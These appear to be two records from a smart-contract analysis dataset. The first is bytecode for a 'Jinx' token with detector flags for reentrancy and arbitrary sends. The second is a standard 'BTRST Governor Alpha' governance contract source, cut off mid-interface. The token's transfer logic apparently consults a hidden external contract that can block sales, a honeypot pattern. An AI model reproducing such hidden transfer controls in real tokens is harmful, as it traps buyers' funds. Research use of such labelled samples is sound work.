0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600481526020017f4a696e7800000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a494e5800000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600a60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600a60159054906101000a900460ff161580156112b15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600a60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600654821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060065490506000662386f26fc10000905061194b662386f26fc1000060065461170490919063ffffffff16565b82101561196857600654662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600654611a3e90919063ffffffff16565b600681905550611bd381600754611a8890919063ffffffff16565b6007819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a1ec617357e385768f04780124772196b6486817cb787262e9797468d8225ec64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,884
0x1a0D3d5a43e53510f80F16905Bc96e907A47dD01
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "BTRST Governor Alpha"; /// @notice The number of votes required in order for a voter to become a proposer uint private _proposalThreshold; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint private _quorumVotes; /// @notice The duration of voting on a proposal, in blocks uint32 private _votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks /// @notice The address of the BTRST Protocol Timelock TimelockInterface public timelock; /// @notice The address of the BTRST governance token BTRSTInterface public BTRST; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address BTRST_, address guardian_, uint quorumVotes_, uint proposalThreshold_, uint32 votingPeriod_) public { timelock = TimelockInterface(timelock_); BTRST = BTRSTInterface(BTRST_); guardian = guardian_; _quorumVotes = quorumVotes_; _proposalThreshold = proposalThreshold_; _votingPeriod = votingPeriod_; } function quorumVotes() public view returns (uint) { return _quorumVotes; } function proposalThreshold() public view returns (uint) { return _proposalThreshold; } function votingPeriod() public view returns (uint) { return _votingPeriod; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(BTRST.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || BTRST.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = BTRST.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata 